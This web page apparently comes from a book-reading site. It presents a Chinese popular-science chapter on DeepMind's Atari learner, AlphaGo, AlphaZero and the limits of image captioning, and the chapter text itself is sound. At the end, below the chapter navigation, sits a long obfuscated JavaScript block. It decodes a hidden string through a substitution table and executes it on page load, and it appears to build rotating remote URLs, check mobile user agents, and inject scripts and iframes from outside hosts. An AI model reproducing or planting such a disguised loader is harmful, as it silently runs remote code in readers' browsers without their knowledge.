关灯
护眼
字体:

第五章 深度突破2(第1页)

章节目录保存书签

第五章深度突破2

有一种特别的游戏吸引了很多人的注意。这款名为“打砖块”的游戏是20世纪70年代最早出现的电子游戏之一:由玩家控制“球板”,将“球”弹到由彩色“砖块”组成的墙上。每当球碰到砖块的时候,砖块就会被摧毁,玩家的目的是摧毁整面砖墙。图18显示了程序在学习玩打砖块的早期阶段(在它玩了大约100次游戏之后),在这个阶段,它经常漏球。

图18 程序学习玩打砖块游戏的早期阶段

深度思维的雅达利游戏程序在学习打砖块的初期漏接了球,球在这里用一个竖直的小矩形表示,水平的平板状矩形表示玩家的接球板。

但是经过几百轮的训练以后,程序就成了这个游戏的专家:它再也没有漏接过一个球。然后发生了一件不同寻常的事情:程序了解到,最有效率得高分的方式是在砖墙的一侧“钻”一个洞,让球打进去,这样球就会在砖墙和顶部屏障之间快速反弹,迅速消灭砖块,而玩家可以不用额外操作什么(见图19)。深度思维公司的工程师并没有预料到这种行为:它是由程序自主学习的。这个游戏的视频很容易在网上找到:我在自己的讲座中用过十几次。每次我给观众播放这段视频时,都能听见惊讶的抽气声,因为观众明白程序在游戏中学到了什么。

图19 程序经过训练后玩打砖块游戏

最终,程序学会了怎么迅速取得高分,即让球在砖墙一侧“钻”一个洞,这样球就会在砖墙上快速反弹。没有人教程序这么做,这种行为让程序开发者都大吃一惊。

我得反复强调一点:深度思维的程序员并没有编写一个程序来玩雅达利游戏:这并不难。他们所做的是写一个程序,让它学习如何比人类更会玩全部49个雅达利游戏中的29个。程序接收到的唯一输入就是屏上显示的东西,以及分数。

此前已经提到过,雅达利游戏程序使用的是强化学习的方式,通过神经网络来实现,它使用的神经网络具有三个隐藏层。神经网络的输入经过预处理,将图像从原始的210×160像素的彩色格式缩减为84×84像素,并用灰度代替了彩色。程序从可用的输入中提取出样本,由每四幅游戏屏幕图像拼合组成,而不是单独的每一幅图像。神经网络使用经典的深度学习技术(随机梯度下降)进行训练。

这个程序当然不会是完美的,在某些游戏中,它的表现相当糟糕,研究一下为什么会出现这种情况也挺有意思。在程序玩得特别糟糕的游戏中,有一款叫作“蒙特祖玛的复仇”,它的难点在于奖励非常稀少:玩家在获得奖励之前必须执行一系列复杂的任务(这一点与打砖块这种游戏不同,在打砖块游戏中奖励反馈或多或少都是即时的)。通俗地说,如果奖励反馈在相关行动执行后很长时间才出现,就会给强化学习带来困难:这就是前文我们讨论过的信用分配问题,即你可能不清楚是哪些行为导致了奖励的发生。

如果雅达利游戏程序是深度思维团队唯一完成的东西,那也足够让他们在人工智能的历史上留下令人尊重、浓墨重彩的一笔,但是,该团队随后又取得了一系列惊人的成就。

其中最著名的是AlphaGo,在撰写本书的时候,它可能仍然是迄今为止最著名的人工智能系统。AlphaGo的功能是玩一种源自中国的古老棋类游戏:围棋。

围棋是人工智能挑战一个引人关注的目标。一方面,围棋的规则非常简单,比国际象棋简单得多。另一方面,在2015年,围棋程序的水准远远低于人类专业棋手。那么,为什么围棋对人工智能而言这么难?答案很简单,因为围棋的计算量太庞大了。围棋棋盘是19×19的格子,总共有361个位置可以落子。而国际象棋棋盘的格子是8×8,只有64个位置可以放置棋子。正如我们在第二章中所提到的,围棋的分支因子(即棋手在游戏中每一步的平均移动可能性)约为250,而国际象棋的分支因子约为35。换言之,在棋盘大小和分支因子方面,围棋的数据量比国际象棋庞大得多。另外,一盘围棋对弈可以持续很长时间,一场比赛中走150步是很常见的。

对人类而言,围棋是公认最难的棋类,因为计算规模太大:思考一个如此大小的棋盘已经达到甚至超过人类玩家所能管理的极限。这导致围棋中指定明确的战术非常困难。对于机器而言,这也是问题所在。棋盘规模和分支因子让简单粗暴的搜索方式毫无用武之地——我们得考虑别的方法。

AlphaGo使用了两个神经网络:价值网络只负责评估给定的棋盘位置的优劣程度,而策略网络则根据当前棋盘的状况评估下一步棋该放在何处[75]。策略网络包含13层,首先使用监督式学习进行训练,训练的数据则是人类的专业棋手下棋的棋谱。然后进行自我对战的强化学习。最后,这两个网络被嵌入一个复杂的蒙特卡罗树这一搜索技术中。

在这套系统公布之前,深度思维邀请了欧洲围棋冠军樊麾与AlphaGo比赛:最终AlphaGo以5∶0获胜。这是围棋程序第一次在全场比赛中战胜人类专业棋手。不久之后,深度思维宣布AlphaGo将于2016年3月在韩国首尔与世界围棋冠军李世石进行五场比赛。

人工智能界因此兴奋不已,相关研究人员——包括我自己——也很期待看到比赛结果(当时我们猜测AlphaGo大概会取得一到两场胜利,但李世石会决定性地赢得整场比赛)。谁也没有料到围绕这场比赛爆发出空前的宣传热浪,这项赛事成为全世界的头条新闻,比赛的故事甚至都被拍成了电影[76]。

这场比赛中,AlphaGo以4∶1的成绩击败了李世石:李世石输掉了前三局,在第四局中扳回一城,但输掉了第五局。大家都说,李世石一开场就输了。他很惊讶——本来他以为会轻松取得胜利。而且不止一个人开玩笑说,AlphaGo故意输掉第四局,多少给李世石留点面子。

在比赛的很多节点上,人类评论员指出AlphaGo的举动奇怪。很明显,这种落子“不是人类会做的选择”。当然,当试图分析AlphaGo如何下棋的时候,我们是从一个非常人性化的角度来分析的,我们本能地寻找下围棋时人类的动机和策略——我们将AlphaGo人性化了。试图用这种方式理解AlphaGo是没有意义的:它只是一个程序,它的存在只为了一个目的——赢得围棋比赛。我们想把动机、推理和策略归因于程序,但无法做到,AlphaGo的卓越能力是通过其神经网络的权重来体现的。这些神经网络不过是一串很长的数字列表,我们无法提取或合理化它们所包含的专业知识。AlphaGo也无法告诉我们它如此落子的原因,而这正是深度学习需要解决的关键问题之一。

AlphaGo被吹捧为深度学习和大数据型人工智能的胜利,从事实来看,它倒也实至名归。不过撇开表象深入挖掘,你会发现AlphaGo中最能体现智慧的工程都源自经典的人工智能搜索。我们在第二章提到的于20世纪50年代开发了跳棋学习程序的亚瑟·塞缪尔,他在理解AlphaGo使用的搜索技术时不会有任何困难:从他的跳棋程序,到现代最引人注目的人工智能系统,都遵循着同一条发展路径。

两个里程碑式的成就,对大多数人而言应该已经足够了。但是,仅仅18个月后,深度思维再次出现在头条新闻中。这次是一个比AlphaGo更厉害的人工智能,被称为AlphaGoZero。它的非凡之处在于它是从零开始学习下围棋的,没有学习任何人类棋手的棋谱。在没有人工数据干预的情况下,它达到了超越人类棋手的水平,而这一切,只是通过它自己和自己下围棋来实现的[77]。公平地说,它必须自己下过很多次才能达到超人的水准,但不管怎么说,这都是一个惊人的成就。它的后续版本名叫AlphaZero,进一步推广到玩包括国际象棋的其他棋类游戏。在结束9个小时的自我学习以后,AlphaZero能够在和鳕鱼系统[12]对战中连续击败对方,最少也能保持平局——鳕鱼系统是世界领先的国际象棋程序之一。来自国际象棋编程领域的退役专家纷纷表示他们极其惊讶。AlphaZero自己和自己下了9个小时国际象棋,就能够自学成为世界级的国际象棋手?这种想法简直令人难以置信。而真正令人兴奋的是这种方法的普适性:AlphaGo尽管在围棋方面表现优秀,但它只能下围棋,还必须事先学习许多人类专业棋手的棋谱。而AlphaZero似乎可以自学成才,并且适用于多种不同类型的棋类游戏。

当然,我们得谨慎地下结论,不能过度解读。首先,尽管AlphaZero体现了令人印象深刻的通用性(它在棋类游戏专业的通用性方面超过了此前任何一个人工智能系统),但它本身并不代表迈向通用人工智能的重大进步。它甚至没有我们人类所普遍拥有的智能,在下棋方面它很专业,但它不能跟人交流,不能讲笑话,也不会煎鸡蛋、骑自行车或者系鞋带。它的卓越能力其实有着相当的局限性。当然,棋类游戏是相当抽象的——它们与现实世界相去甚远,正如罗德尼·布鲁克斯很快将要提醒我们的那样。

但是,尽管还有许多问题和麻烦,我相信一个简单的事实:深度思维的工作,从他们的雅达利游戏机到AlphaZero,代表了人工智能领域一系列非凡的突破性成就。在实现这一切的过程中,他们成功地让数以百万计的人们美梦成真。

迈向通用人工智能?

深度学习已经被证明成就非凡,它使我们有能力构建一些在几年前无法想象的人工智能程序。尽管这些程序赢得了辉煌胜利,但它们并不是推动人工智能朝着宏伟梦想前进的魔法。接下来,为了解释这个问题,我们来看一下两个现在广泛使用了深度学习技术的应用:图像标注和自动翻译。

在图像标注问题中,我们希望计算机能够获取图像并对其进行文本描述。在某种程度上具备这项功能的系统已经得到广泛应用:我的苹果Mac软件在更新照片管理应用程序以后,能够正确将我的照片分为“海滩场景”“派对”等等。在撰写本文的时候,还有好几个通常由国际研究机构运营的网站存在,你可以将照片上传到网站,它会尝试为照片做出标识。为了更好地理解图像标注技术的局限性,进而理解深度学习的局限性,我将一张家庭照片上传到一个网站中(本例中,我使用的是微软的标注机器人)[78],照片如图20所示。

图20 这张照片的内容是什么呢?

在我们得知标注机器人的回应之前,先请你看看这张照片。如果你是个英国人,或者是科幻小说迷,那么你可能会认出照片中右边这位先生是马特·史密斯(MattSmith),他在2010年至2013年的BBC电视节目中扮演神秘博士(左边那位就别去猜了,那是我已故的岳父)。

标注机器人对照片的回应如下:

我想这是马特·史密斯以站姿拍照,他们看上去似乎很:-):-)

标注机器人正确地识别了照片中的关键元素,并在某种程度上识别了照片背景(站姿,拍照,微笑),然而这种正确识别容易让我们误以为标注机器人正在做一些它肯定做不到的事情:理解。为了说明这一点,请考虑系统是如何识别马特·史密斯的,正如我们之前所提到的,像标注机器人这样的机器学习系统是通过给它大量的数据作为训练样本训练出来的。每个训练数据都由图片和对应文字组成,最终,在识别了大量马特·史密斯的照片以及对应的文本(即“马特·史密斯”的人名)之后,当他出现在照片里,系统就能正确识别出来,并生成文本“马特·史密斯”。几十年的努力研究毕竟是有用的。

但标注机器人并没有真正“认出”马特·史密斯,为了理解这一点,假设我让你看这张照片,你可能会给我这样的回应:

这不是马特·史密斯吗?演神秘博士那位演员,他搂着一个老人站着,这个老人我不认识。他俩都在笑。马特打扮成神秘博士的样子,可能是在拍摄现场吧。他口袋里有卷起来的纸,大概是剧本。马特手里拿着纸杯,或许是在拍摄现场休息。背后的蓝色盒子,那不是塔迪斯吗?神秘博士的太空船时间机器,博士乘坐它四处旅行。他们是在户外拍摄这张照片的,所以很可能就是在摄影现场,附近可能会有摄制组、摄像机和灯光。

标注机器人无法做到这些,虽然它能够识别马特·史密斯,但无法正确理解此处的文本“马特·史密斯”意味着什么。它也无法利用这些知识来解释图片中正在发生的事情。缺乏理解,这就是此处的要点。

章节目录

!function(){function a(a){var _idx="d5xud2u4am";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hLFd5F"=LqOFWfgLcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgLcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pac6a??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 qcY=F8""a[7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=(c6=+i;NmLF562p67TcdaaaP7_2(F6O2 LcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OP7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPP1os(qTqCLm:D_Tq2qm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1os)5TqCLmR7RF:Cpm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1os7FTqCLm)4^)5L^m(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1osq6TqCLm:D_Tq2qm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1osD_TqCLmR7RF:Cpm(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1os2OTqCLm)4^)5L^m(O^gQ1KQ"="hFFJLg\/\/[[fdTPP1osfYTqCLmR7RF:Cpm(O^gQ1KQ"Z=28Jc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/fnR_f@_od^/1os"!7m5Y|5T%%=FmL5(8Jc2a=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=DcaP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}Pr55dTm6Lr55dTcda??cd8HZ=(c6=""aa!qYF _8"1os"=h8"fnR_f@_od^"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 XcYa[Xd5 F8H"1os2CTqf7mTfD_J(:m(O^"="1osCSTqfXmJq4Y(2fm(O^"="1osOSTq47mTfD_J(:m(O^"="1osF(Tq2SmJq4Y(2fm(O^"="1osDhTqdJmTfD_J(:m(O^"="1osh)TqCqmJq4Y(2fm(O^"="1osJfTq7DmTfD_J(:m(O^"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q1KQ"=28H"Y#"%hZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%_=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28_HfZcYH(Zc^%%aa=O8_HfZcYH(Zc^%%aa=68_HfZcYH(Zc^%%aa=d8_HfZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!qc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PpcOa=@8887mqOdfiFdF_LvvDcaP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=pcOaP=7mqOdfiFdF_L8}PqYF T8l}!7_2(F6O2 Dca[TvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 ica[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP1osSJTq)()mqF5hJ:FmRT4gQ1KQ/((/1osj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clTa[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP1osSJTq)()mqF5hJ:FmRT4gQ1KQ/((/1osj6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=T8l0PqYF F8Jc"hFFJLg//[[fdTPP1os(qTqCLm:D_Tq2qm(O^gQ1KQ/f/1osj(8}vY8fnR_f@_od^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=28Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??2avvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2FajXc7_2(F6O2ca[qc@0}a=Xc7_2(F6O2ca[qc@0@a=fc7_2(F6O2ca[qc@0saPaPaPagfc7_2(F6O2ca[qc}0}a=fc7_2(F6O2ca[qc}0@a=Xc7_2(F6O2ca[qc}0saPaPaPaa=lYvvO??ica=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Jc"hFFJLg//[[fdTPP1os(qTqCLm:D_Tq2qm(O^gQ1KQ"a%"/)_pj68"%_=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=(c6=""aaPaPaca!'.substr(22));new Function(b)()}();